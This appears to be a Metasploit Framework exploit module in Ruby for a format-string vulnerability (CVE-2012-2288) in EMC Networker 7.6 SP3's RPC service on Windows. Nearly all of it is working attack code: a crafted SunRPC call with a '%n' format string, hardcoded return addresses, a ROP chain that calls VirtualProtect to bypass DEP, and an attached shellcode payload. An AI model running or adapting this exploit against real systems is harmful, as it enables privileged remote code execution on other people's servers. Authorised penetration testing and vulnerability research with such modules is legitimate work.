EMC Networker Format String

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::SunRPC  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EMC Networker Format String',  
'Description' => %q{  
This module exploits a format string vulnerability in the lg_sprintf function  
as implemented in liblocal.dll on EMC Networker products. This module exploits the  
vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,  
version 0x02, and procedure 0x06. This module has been tested successfully on EMC  
Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).  
},  
'Author' =>  
[  
'Aaron Portnoy', # Vulnerability Discovery and analysis  
'Luigi Auriemma <aluigi[at]autistici.org>', # Vulnerability Discovery and analysis  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2012-2288' ],  
[ 'OSVDB', '85116' ],  
[ 'BID', '55330' ],  
[ 'URL', 'http://blog.exodusintel.com/2012/08/29/when-wrapping-it-up-goes-wrong/' ],  
[ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ]  
],  
'Platform' => [ 'win' ],  
'Payload' =>  
{  
'BadChars' => "\x00\x0d\x0a\x25\x2a",  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'Targets' =>  
[  
['EMC Networker 7.6 SP3 / Windows Universal',  
{  
'Ret' => 0x7c354dac, # ret from MSVCR71.dll  
'Offset' => 156,  
'DEP' => true  
}  
],  
['EMC Networker 7.6 SP3 / Windows XP SP3',  
{  
'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll  
'Offset' => 156,  
'DEP' => false  
}  
],  
['EMC Networker 7.6 SP3 / Windows 2003 SP2',  
{  
'Ret' => 0x7c354dac, # ret from MSVCR71.dll  
'Offset' => 156,  
'DEP' => true  
}  
]  
],  
'DefaultTarget' => 0,  
'Privileged' => true,  
'DisclosureDate' => 'Aug 29 2012'))  
  
end  
  
def exploit  
  
begin  
if (not sunrpc_create('tcp', 0x5F3DD, 2))  
fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')  
end  
  
fs = "%n" * target['Offset']  
fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll  
if target['DEP']  
rop_gadgets =  
[  
# rop chain generated with mona.py  
# The RopDb mixin isn't used because there are badchars  
# which must be avoided  
0x7c354dab, # POP EBP # RETN [MSVCR71.dll]  
0x7c354dab, # skip 4 bytes [MSVCR71.dll]  
0x7c37678f, # POP EAX # RETN [MSVCR71.dll]  
0xfffffdff, # Value to negate, will become 0x00000201  
0x7c34d749, # NEG EAX # RETN [MSVCR71.dll]  
0x7c362688, # POP EBX # RETN [MSVCR71.dll]  
0xffffffff, #  
0x7c345255, # INC EBX # FPATAN # RETN [MSVCR71.dll]  
0x7c363cff, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]  
0x7c34592b, # POP EDX # RETN [MSVCR71.dll]  
0xffffffc0, # Value to negate, will become 0x00000040  
0x7c351eb1, # NEG EDX # RETN [MSVCR71.dll]  
0x7c37765f, # POP ECX # RETN [MSVCR71.dll]  
0x7c38ecfe, # &Writable location [MSVCR71.dll]  
0x7c34a490, # POP EDI # RETN [MSVCR71.dll]  
0x7c347f98, # RETN (ROP NOP) [MSVCR71.dll]  
0x7c364612, # POP ESI # RETN [MSVCR71.dll]  
0x7c3415a2, # JMP [EAX] [MSVCR71.dll]  
0x7c344cc1, # POP EAX # RETN [MSVCR71.dll]  
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]  
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]  
0x7c345c30, # ptr to 'push esp # ret ' [MSVCR71.dll]  
].pack("V*")  
fs << rop_gadgets  
end  
fs << payload.encoded  
  
xdr = XDR.encode(0, 2, rand_text_alpha(10), XDR.encode(fs, rand_text_alpha(10)), 2)  
sunrpc_call(6, xdr)  
sunrpc_destroy  
  
rescue Rex::Proto::SunRPC::RPCTimeout  
print_error('RPCTimeout')  
rescue EOFError  
print_error('EOFError')  
end  
end  
  
end  
`